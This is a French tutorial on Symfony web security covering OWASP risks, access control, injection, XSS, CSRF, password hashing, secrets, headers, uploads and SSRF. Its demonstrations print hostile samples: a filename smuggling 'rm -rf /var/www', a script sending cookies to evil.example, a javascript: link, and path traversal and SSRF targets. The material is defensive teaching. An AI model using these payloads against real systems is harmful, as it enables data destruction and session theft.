La sécurité web
Savoir ce que Symfony protège déjà, et repérer ce qui reste de ta responsabilité.
Les fiches précédentes ont déjà signalé une dizaine de risques : l'injection SQL, le jeton CSRF, la comparaison ==, l'affectation de masse, les identifiants qu'on devine. Cette fiche les rassemble, les range par famille, et complète ce qui manque.
La bonne nouvelle : Symfony, Doctrine et Twig te protègent déjà contre beaucoup d'attaques, à condition de ne pas désactiver ces protections. La sécurité ne demande pas d'être un expert. Elle demande surtout des réflexes, et de se poser une question à chaque fonctionnalité : « qu'est-ce qu'un utilisateur malveillant pourrait faire avec ça ? »
Les démonstrations en PHP pur (contrôle d'accès, échappement, mots de passe, jetons) ont été exécutées. Elles ne lancent aucune commande système et n'envoient rien sur le réseau. Les extraits Symfony, Twig et YAML sont des illustrations, non exécutées.
1.Penser comme un attaquant
L'OWASP (Open Worldwide Application Security Project) est une fondation qui publie le Top 10 des risques les plus fréquents dans les applications web. Voici l'édition 2021, avec la section de cette fiche qui en parle. Une nouvelle édition peut être parue depuis : vérifie sur owasp.org, les grandes familles changent peu.
| Risque (OWASP 2021) | En une phrase | Où |
|---|---|---|
| A01 Contrôle d'accès défaillant | Un utilisateur accède à ce qui ne lui appartient pas | Section 2 |
| A02 Défaillances cryptographiques | Des données sensibles mal protégées, des mots de passe mal hachés | Sections 5 et 6 |
| A03 Injection | Une saisie devient du code : SQL, commande, HTML (XSS) | Section 3 |
| A04 Conception non sécurisée | La faille est dans la règle métier elle-même | Fiche 3 (quantité négative) |
| A05 Mauvaise configuration | Mode debug en production, en-têtes manquants | Section 7 |
| A06 Composants vulnérables | Une dépendance avec une faille connue | Section 7 |
| A07 Authentification défaillante | Mots de passe devinables, pas de limite d'essais | Section 5 |
| A08 Intégrité du logiciel et des données | Du code ou des données chargés sans vérification | Section 7 |
| A09 Journalisation et surveillance insuffisantes | L'attaque passe inaperçue | Fiche 13 |
| A10 SSRF | Le serveur est poussé à appeler une adresse choisie par l'attaquant | Section 8 |
Trois principes reviennent dans toutes les sections :
- Ne jamais faire confiance à ce qui vient de l'extérieur : paramètres, corps de requête, en-têtes, cookies, noms de fichiers. Tout se falsifie.
- La défense en profondeur : plusieurs protections indépendantes, pour qu'une seule erreur ne suffise pas. Par exemple une validation PHP, plus une contrainte en base (fiche 7).
- Le moindre privilège : chaque utilisateur, service ou compte de base de données n'a que les droits dont il a besoin.
2.Le contrôle d'accès : la faille numéro un
Bob consulte sa facture à l'adresse /facture/1043. Par curiosité, il essaie /facture/1042. Si l'application se contente de trouver la facture et de l'afficher, il lit celle d'Alice. C'est un IDOR (Insecure Direct Object Reference, référence directe non sécurisée) :
<?php
declare(strict_types=1);
// Des factures, chacune appartenant à un utilisateur
$invoices = [
1042 => ['ownerId' => 1, 'amountInCents' => 8970], // facture d'Alice (id 1)
1043 => ['ownerId' => 2, 'amountInCents' => 9580], // facture de Bob (id 2)
];
// ✗ On trouve la facture… et on la renvoie, sans se demander à qui elle appartient
function showInvoiceUnsafe(array $invoices, int $invoiceId, int $currentUserId): string
{
$invoice = $invoices[$invoiceId] ?? null;
if ($invoice === null) {
return '404 Introuvable';
}
return "200 Facture $invoiceId : {$invoice['amountInCents']} centimes";
}
// ✓ Même code, plus UNE vérification : la facture appartient-elle à l'utilisateur connecté ?
function showInvoice(array $invoices, int $invoiceId, int $currentUserId): string
{
$invoice = $invoices[$invoiceId] ?? null;
if ($invoice === null || $invoice['ownerId'] !== $currentUserId) {
return '404 Introuvable'; // même réponse : on ne révèle pas que la facture existe
}
return "200 Facture $invoiceId : {$invoice['amountInCents']} centimes";
}
// Bob (id 2) change le numéro dans l'URL : /facture/1043 devient /facture/1042
echo 'Sans contrôle : ', showInvoiceUnsafe($invoices, 1042, currentUserId: 2), "\n";
echo 'Avec contrôle : ', showInvoice($invoices, 1042, currentUserId: 2), "\n";
echo 'Sa propre facture : ', showInvoice($invoices, 1043, currentUserId: 2), "\n";Sans contrôle : 200 Facture 1042 : 8970 centimes Avec contrôle : 404 Introuvable Sa propre facture : 200 Facture 1043 : 9580 centimes
La correction tient en une condition, mais il faut y penser à chaque route qui reçoit un identifiant. Remarque aussi la réponse : 404 plutôt que 403, pour ne pas confirmer à Bob que la facture 1042 existe.
Dans Symfony, cette règle a sa place dans un Voter : une classe qui répond à la question « cet utilisateur a-t-il le droit de faire cette action sur cet objet ? ». C'est le pattern Strategy de la fiche 6.
<?php
declare(strict_types=1);
namespace App\Security;
use App\Entity\Invoice;
use App\Entity\User;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Authorization\Voter\Voter;
// La règle « qui peut voir une facture » écrite UNE fois, et testable seule (fiche 3)
final class InvoiceVoter extends Voter
{
public const string VIEW = 'INVOICE_VIEW';
protected function supports(string $attribute, mixed $subject): bool
{
return $attribute === self::VIEW && $subject instanceof Invoice;
}
protected function voteOnAttribute(
string $attribute,
mixed $subject,
TokenInterface $token,
): bool {
$user = $token->getUser();
if (!$user instanceof User) {
return false; // visiteur non connecté
}
return $subject->getOwner() === $user;
}
}
// Dans le contrôleur, une ligne suffit :
// #[IsGranted(InvoiceVoter::VIEW, 'invoice')]
// public function show(Invoice $invoice): Response { … }- La règle est écrite une seule fois, et réutilisée dans les contrôleurs (
#[IsGranted]), dans Twig (is_granted()) et dans les services. - Elle se teste seule, avec un test unitaire (fiche 3).
- Un test fonctionnel qui vérifie qu'un autre utilisateur reçoit bien une 404 protège contre un retour de la faille.
- Une route d'administration protégée seulement parce que le lien n'apparaît pas dans le menu. Cacher n'est pas protéger : protège-la dans
access_controlou avec#[IsGranted('ROLE_ADMIN')]. - Une API qui vérifie les droits sur
GET, mais oubliePATCHetDELETE. - Une vérification faite seulement en JavaScript : un bouton désactivé n'empêche pas d'envoyer la requête à la main.
3.Les injections et le XSS
Une injection se produit quand une donnée fournie par l'utilisateur est interprétée comme du code par un autre système : la base de données, le shell, ou le navigateur. La parade est toujours la même idée : garder la donnée séparée du code.
Le SQL
Vu en détail dans la fiche 7 : des requêtes préparées, toujours. Avec Doctrine, setParameter() ; jamais de concaténation dans une requête DQL ou SQL.
Les commandes système
<?php
declare(strict_types=1);
// On ne lance AUCUNE commande ici : on regarde seulement la chaîne qui serait exécutée.
$filename = 'photo.jpg; rm -rf /var/www'; // un nom de fichier choisi par un attaquant
// ✗ Collé dans la commande : le « ; » termine la commande, et la suite s'exécute
echo 'Concaténé : convert ', $filename, " thumbnail.jpg\n";
// ✓ escapeshellarg : la valeur entière devient UN seul argument, entre apostrophes
echo 'Échappé : convert ', escapeshellarg($filename), " thumbnail.jpg\n";Concaténé : convert photo.jpg; rm -rf /var/www thumbnail.jpg Échappé : convert 'photo.jpg; rm -rf /var/www' thumbnail.jpg
Ce script n'exécute aucune commande : il affiche seulement celle qui serait lancée. Le point-virgule tapé par l'attaquant termine la commande prévue, et la suite s'exécuterait avec les droits de PHP. escapeshellarg() transforme la valeur en un seul argument. Mieux encore, le composant Process de Symfony n'utilise pas de shell du tout :
<?php
use Symfony\Component\Process\Process;
// Avec le composant Process, chaque argument est un élément du tableau :
// aucun shell n'interprète la ligne, donc rien à échapper et rien à injecter.
$process = new Process(['convert', $uploadedPath, $thumbnailPath]);
$process->mustRun();Le XSS
Le XSS (Cross-Site Scripting) est une injection dans le navigateur : un texte saisi par un utilisateur est affiché dans une page, et le navigateur l'exécute comme du JavaScript, avec les droits de la victime.
<?php
declare(strict_types=1);
// Un commentaire saisi par un visiteur
$comment = 'Super <script>fetch("https://evil.example/?c=" + document.cookie)</script>';
// ✗ Affiché tel quel : le navigateur EXÉCUTE le script
echo "Brut :\n <p>$comment</p>\n\n";
// ✓ Échappé : les caractères spéciaux deviennent du texte inoffensif
$safe = htmlspecialchars($comment, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "Échappé :\n <p>$safe</p>\n\n";
// Mais l'échappement ne suffit pas partout : dans un lien, « javascript: » reste dangereux
$website = 'javascript:alert(document.cookie)';
$escaped = htmlspecialchars($website, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "Lien échappé, toujours dangereux :\n <a href=\"$escaped\">mon site</a>\n\n";
// Pour une URL, on vérifie aussi le protocole
$scheme = strtolower((string) parse_url($website, PHP_URL_SCHEME));
echo 'Protocole autorisé ? ', in_array($scheme, ['http', 'https'], true) ? 'oui' : 'non', "\n";Brut :
<p>Super <script>fetch("https://evil.example/?c=" + document.cookie)</script></p>
Échappé :
<p>Super <script>fetch("https://evil.example/?c=" + document.cookie)</script></p>
Lien échappé, toujours dangereux :
<a href="javascript:alert(document.cookie)">mon site</a>
Protocole autorisé ? nonTwig échappe automatiquement tout ce qu'il affiche. Il reste trois façons de se tirer une balle dans le pied :
{# Twig échappe automatiquement : le script s'affiche comme du texte #}
<p>{{ comment.content }}</p>
{# |raw désactive cette protection : à réserver à du HTML que TU as produit et nettoyé #}
<p>{{ comment.content|raw }}</p>
{# Dans un href, l'échappement ne bloque pas « javascript: » :
valide l'URL à l'enregistrement #}
<a href="{{ comment.authorWebsite }}">site de l'auteur</a>- Le filtre
|rawdésactive l'échappement. Réserve-le à du HTML que tu as produit toi-même, ou nettoyé avec le composant HtmlSanitizer de Symfony. - Les URL : l'échappement ne bloque pas
javascript:. Valide les adresses à l'enregistrement (contrainte#[Assert\Url]), en n'acceptant quehttpethttps. - Le JavaScript : du code JS qui insère une saisie avec
innerHTMLcontourne Twig. UtilisetextContent.
Un XSS permet de voler ce que voit la victime, d'agir à sa place, ou de lire un jeton stocké dans le localStorage (fiche 9). Le cookie HttpOnly et une politique de sécurité du contenu (section 7) limitent les dégâts.
4.Le CSRF : agir à la place de l'utilisateur
Alice est connectée à ta boutique. Elle visite un autre site, qui contient un formulaire caché envoyé automatiquement vers https://shop.example.com/compte/email. Son navigateur joint son cookie de session : la boutique change son e-mail, et l'attaquant n'a plus qu'à demander un nouveau mot de passe. C'est le CSRF (Cross-Site Request Forgery, falsification de requête intersite).
- Le jeton CSRF : chaque formulaire contient une valeur aléatoire liée à la session, que l'autre site ne peut pas connaître. Les formulaires Symfony l'ajoutent et le vérifient automatiquement.
- Un formulaire écrit à la main doit l'ajouter (fiche 2), et le contrôleur doit le vérifier :
<?php
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;
// Un formulaire écrit à la main (fiche 2) : le contrôleur vérifie le jeton lui-même.
// Avec un formulaire Symfony (FormType), cette vérification est automatique.
final class NewsletterController extends AbstractController
{
#[Route('/newsletter/subscribe', methods: ['POST'])]
public function subscribe(Request $request): Response
{
$token = $request->getPayload()->getString('_token');
if (!$this->isCsrfTokenValid('newsletter_subscribe', $token)) {
throw $this->createAccessDeniedException('Jeton CSRF invalide');
}
// … inscription …
return $this->redirectToRoute('newsletter_thanks');
}
}SameSite=Laxsur le cookie de session (fiche 9) bloque déjà la plupart de ces attaques : le cookie n'est pas envoyé avec un formulairePOSTvenu d'un autre site. C'est une deuxième protection, pas un remplacement du jeton.- Jamais de modification en
GET: une simple image<img src="…/supprimer">déclencherait l'action.
Une API authentifiée par un jeton dans l'en-tête Authorization, et non par un cookie, n'est pas exposée au CSRF : un autre site ne peut pas ajouter cet en-tête à la requête de la victime. Le jeton CSRF ne se justifie que lorsque le navigateur envoie l'authentification tout seul, c'est-à-dire avec un cookie.
5.Mots de passe et authentification
Une base de données fuit un jour ou l'autre : une sauvegarde mal rangée, une injection, un ancien collègue. Ce jour-là, les mots de passe ne doivent pas être lisibles, ni faciles à retrouver.
<?php
declare(strict_types=1);
$password = 'exemple-fictif-42'; // jamais de vrai mot de passe dans un exemple
// ✗ md5 (ou sha1, ou sha256 seul) : rapide à calculer, et identique pour deux comptes
echo "md5, deux fois :\n ", md5($password), "\n ", md5($password), "\n\n";
// ✓ password_hash : lent volontairement, et un « sel » aléatoire différent à chaque fois
$first = password_hash($password, PASSWORD_DEFAULT);
$second = password_hash($password, PASSWORD_DEFAULT);
echo "password_hash, deux fois :\n $first\n $second\n\n";
// La vérification retrouve le sel et le coût dans l'empreinte elle-même
echo 'Bon mot de passe : ', var_export(password_verify($password, $first), true), "\n";
echo 'Mauvais : ', var_export(password_verify('autre-chose', $first), true), "\n";
// Le jour où l'algorithme par défaut évolue, on met à jour l'empreinte à la connexion suivante
$needsRehash = password_needs_rehash($first, PASSWORD_DEFAULT);
echo 'À recalculer ? : ', var_export($needsRehash, true), "\n";md5, deux fois : 76ed765af0d67db2e3a8771b8a407507 76ed765af0d67db2e3a8771b8a407507 password_hash, deux fois : $2y$12$.HR4Dozv8VkNgOwYGtnPSOiIL6DmLyiXKPi6mkHLmS82DhdniMP6S $2y$12$lfmFm4X5WQKc8qtSG61nves..LQJI5ymUdEk/fSJpbJG.viCeMIyC Bon mot de passe : true Mauvais : false À recalculer ? : false
- Un hachage rapide comme
md5ousha256se calcule des milliards de fois par seconde : un attaquant essaie tous les mots de passe courants en quelques minutes. Et deux utilisateurs qui ont le même mot de passe ont la même empreinte. password_hash()est volontairement lent, et ajoute un sel aléatoire différent pour chaque empreinte. Le préfixe$2y$12$indique l'algorithme (bcrypt) et son coût. Dans Symfony, le hacheur'auto'choisit l'algorithme recommandé.- Ne limite pas la longueur des mots de passe à 12 ou 16 caractères, et n'impose pas de règles compliquées : une phrase longue est plus sûre et plus facile à retenir.
# config/packages/security.yaml (extrait)
security:
password_hashers:
Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
firewalls:
main:
form_login:
enable_csrf: true
# Au-delà de 5 échecs, les tentatives sont bloquées un moment
# (nécessite le composant RateLimiter)
login_throttling:
max_attempts: 5- Limite les tentatives de connexion (
login_throttling), sinon un robot essaie des milliers de mots de passe. - Un message d'erreur unique : « identifiants invalides », que l'e-mail existe ou non. Sinon, la page de connexion devient un outil pour savoir qui est client.
- La double authentification (un code à usage unique en plus du mot de passe) protège même quand le mot de passe a fuité. Propose-la, au moins aux administrateurs.
Les jetons des liens « mot de passe oublié » ou de confirmation d'e-mail suivent les mêmes règles :
<?php
declare(strict_types=1);
// Un lien « mot de passe oublié » : le jeton doit être imprévisible
$token = bin2hex(random_bytes(32)); // 64 caractères hexadécimaux, aléatoires
echo 'Jeton envoyé par e-mail : ', strlen($token), " caractères\n";
// En base, on ne garde que son empreinte : une fuite de la base ne donne aucun lien utilisable
$storedHash = hash('sha256', $token);
// Quand l'utilisateur clique sur le lien, on compare les empreintes en temps constant
$clicked = $token;
$isValid = hash_equals($storedHash, hash('sha256', $clicked));
echo 'Lien valide : ', var_export($isValid, true), "\n";
// ✗ À ne pas faire : rand(), mt_rand() ou uniqid() sont prévisibles
echo 'uniqid() ressemble à : ', uniqid(), " (il dépend de l'heure)\n";Jeton envoyé par e-mail : 64 caractères Lien valide : true uniqid() ressemble à : 6aecbc14dc1d1 (il dépend de l'heure)
Un jeton doit être imprévisible (random_bytes(), jamais rand() ni uniqid()), à usage unique, limité dans le temps, et seule son empreinte est gardée en base. Le bundle SymfonyCasts ResetPasswordBundle applique déjà toutes ces règles.
6.Les secrets
Un secret, c'est tout ce qui donne un accès : mot de passe de base de données, clé d'API, clé de chiffrement, APP_SECRET. Un secret qui fuit doit être considéré comme compromis.
# .env → commité : des valeurs par défaut, SANS secret réel
DATABASE_URL="postgresql://app:change_me@127.0.0.1:5432/app"
# .env.local → jamais commité (.gitignore) : les valeurs de ta machine
# En production : le coffre chiffré de Symfony (commandes non exécutées ici)
# php bin/console secrets:generate-keys --env=prod
# php bin/console secrets:set DATABASE_URL --env=prod
# Le fichier de déchiffrement (prod.decrypt.private.php) ne doit JAMAIS être commité :
# il se dépose sur le serveur, ou passe par une variable d'environnement.- Jamais de secret réel dans Git, même dans un dépôt privé : il reste dans l'historique pour toujours (fiche 4), et tous ceux qui clonent le dépôt y ont accès.
- Un secret différent par environnement : la clé de développement ne doit rien ouvrir en production.
- En production, le coffre chiffré de Symfony, ou des variables d'environnement fournies par l'hébergeur ou l'orchestrateur (fiche 12).
- Après une fuite, change le secret immédiatement (la rotation), avant même de nettoyer l'historique.
- Jamais de secret dans les logs, les messages d'erreur ou les pages de debug.
7.Configuration, en-têtes et dépendances
Beaucoup de failles ne viennent pas du code, mais de la façon dont l'application est configurée et de ce qu'elle embarque.
APP_ENV=prodetAPP_DEBUG=0en production. La page de debug et le profiler affichent le code, les variables d'environnement et les requêtes SQL : ils sont un cadeau pour un attaquant.- Des en-têtes de sécurité, ajoutés par le reverse proxy ou par l'application :
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; img-src 'self' data:; frame-ancestors 'none'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy(CSP) dit au navigateur d'où il a le droit de charger des scripts, des images, des styles. Un script injecté depuis un autre domaine est bloqué.frame-ancestors 'none'empêche d'afficher ton site dans un cadre d'un autre site, pour piéger les clics de l'utilisateur.X-Content-Type-Options: nosniffempêche le navigateur de deviner le type d'un fichier, et donc d'exécuter comme du JavaScript un fichier envoyé comme une image.Referrer-Policylimite ce que l'adresse de la page précédente révèle aux autres sites.
- Les dépendances :
composer auditliste les paquets installés qui ont une faille connue. Lance-le dans l'intégration continue, et mets à jour régulièrement : une faille corrigée depuis un an dans une bibliothèque reste exploitable chez toi tant que tu ne mets pas à jour. - L'intégrité de ce que tu charges :
composer.lockest commité, pour installer exactement les versions testées. Un script chargé depuis un CDN externe peut être protégé par l'attributintegrity.
Une CSP stricte casse tous les scripts écrits directement dans le HTML et les outils externes non déclarés (statistiques, chat, paiement). Commence en mode observation (Content-Security-Policy-Report-Only), regarde ce qui serait bloqué, corrige, puis active-la vraiment.
8.Fichiers envoyés et SSRF
Les fichiers envoyés par les utilisateurs
Un formulaire d'avatar accepte « une image ». Un attaquant envoie un fichier avatar.php. S'il est rangé dans public/, il suffit de visiter son adresse pour que le serveur l'exécute : l'attaquant contrôle le serveur.
<?php
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\Validator\Constraints as Assert;
final class AvatarUpload
{
// 1. Valider la taille et le VRAI type du contenu, pas seulement l'extension annoncée
#[Assert\File(maxSize: '2M', mimeTypes: ['image/jpeg', 'image/png', 'image/webp'])]
public ?UploadedFile $file = null;
}
// 2. Un nom choisi par le serveur, jamais celui envoyé par l'utilisateur
$filename = bin2hex(random_bytes(16)) . '.' . $upload->file->guessExtension();
// 3. Rangé HORS du dossier public/ : servi ensuite par un contrôleur qui vérifie les droits
$upload->file->move($this->getParameter('kernel.project_dir') . '/var/uploads', $filename);- Valide la taille et le type réel du contenu, pas l'extension ni le type annoncés par le navigateur, qui se falsifient.
- Choisis le nom du fichier côté serveur. Un nom comme
../../config/x.phppeut sinon sortir du dossier prévu. - Range les fichiers hors de
public/, et sers-les par un contrôleur qui vérifie les droits (section 2). S'ils doivent être publics, sers-les depuis un domaine ou un stockage séparé, où PHP ne s'exécute pas. - Méfie-toi des SVG : ce sont des images, mais elles peuvent contenir du JavaScript.
La SSRF
Une fonctionnalité « importer une image depuis une URL » fait télécharger une adresse par ton serveur. Un attaquant donne http://127.0.0.1:8080/admin ou l'adresse interne d'un service de métadonnées du cloud : ton serveur appelle pour lui des services qui ne sont pas accessibles depuis Internet. C'est la SSRF (Server-Side Request Forgery).
- N'accepte que
httpethttps, et une liste de domaines autorisés quand c'est possible. - Refuse les adresses privées et locales (
127.0.0.0/8,10.0.0.0/8,192.168.0.0/16…), y compris après résolution DNS et après chaque redirection. Le client HTTP de Symfony proposeNoPrivateNetworkHttpClientpour ça.
Pièges fréquents
| Piège | Ce qui arrive | La parade |
|---|---|---|
| Trouver un objet par son id sans vérifier le propriétaire | Un utilisateur lit les données d'un autre | Un Voter, et un test qui le vérifie |
| Cacher un lien au lieu de protéger la route | L'URL tapée à la main fonctionne | access_control ou #[IsGranted] |
|raw sur un contenu saisi | XSS | L'échappement automatique, ou HtmlSanitizer |
Une URL saisie affichée dans un href | javascript: exécuté au clic | Valider le protocole à l'enregistrement |
| Une saisie dans une commande shell | Injection de commande | Le composant Process avec un tableau d'arguments |
| Un formulaire manuel sans jeton CSRF | Un autre site agit au nom de l'utilisateur | csrf_token() et isCsrfTokenValid() |
Des mots de passe en md5 ou sha1 | Retrouvés en minutes après une fuite | password_hash, hacheur 'auto' |
| « Cet e-mail n'existe pas » à la connexion | Liste des clients devinable | Un message d'erreur unique |
Un jeton créé avec uniqid() ou rand() | Jeton prévisible | random_bytes() |
| Un secret dans Git | Accessible à tous, pour toujours | Coffre de secrets, rotation après fuite |
APP_DEBUG=1 en production | Code et configuration exposés | APP_ENV=prod, APP_DEBUG=0 |
| Des dépendances jamais mises à jour | Des failles connues et publiques | composer audit et mises à jour régulières |
Un fichier envoyé rangé dans public/ | Un script PHP exécuté sur le serveur | Hors de public/, nom choisi par le serveur |
Checklist avant une mise en production
- Chaque route qui reçoit un identifiant vérifie que l'objet appartient à l'utilisateur, avec un test.
- Toutes les routes d'administration sont protégées par un rôle.
- Aucune requête SQL ni commande système n'est construite par concaténation.
- Aucun
|rawniinnerHTMLsur un contenu saisi par un utilisateur. - Tous les formulaires sont protégés contre le CSRF.
- Les mots de passe sont hachés avec
password_hash, et les tentatives de connexion sont limitées. - Aucun secret réel dans Git, et chaque environnement a ses propres secrets.
APP_DEBUG=0, en-têtes de sécurité en place,composer auditsans alerte.- Les fichiers envoyés sont validés, renommés, et rangés hors de
public/.
Conseils
- Pose la question à chaque fonctionnalité : « qu'est-ce que je ferais si je voulais abuser de ça ? » Changer un identifiant, envoyer une valeur négative, un fichier inattendu, répéter la requête mille fois.
- Garde les protections par défaut. La plupart des failles dans une application Symfony viennent d'une protection désactivée « pour que ça marche » :
|raw, un formulaire sans CSRF, une route oubliée dansaccess_control. - Écris un test pour chaque règle d'accès : un autre utilisateur, un visiteur anonyme, un rôle insuffisant. C'est le meilleur moyen qu'une faille corrigée ne revienne pas.
- Lis l'OWASP Cheat Sheet Series sur le sujet qui te concerne : des fiches courtes et concrètes, une par problème.
- Si tu découvres une faille, dis-le. Corriger vite et prévenir les personnes concernées compte plus que de chercher un coupable.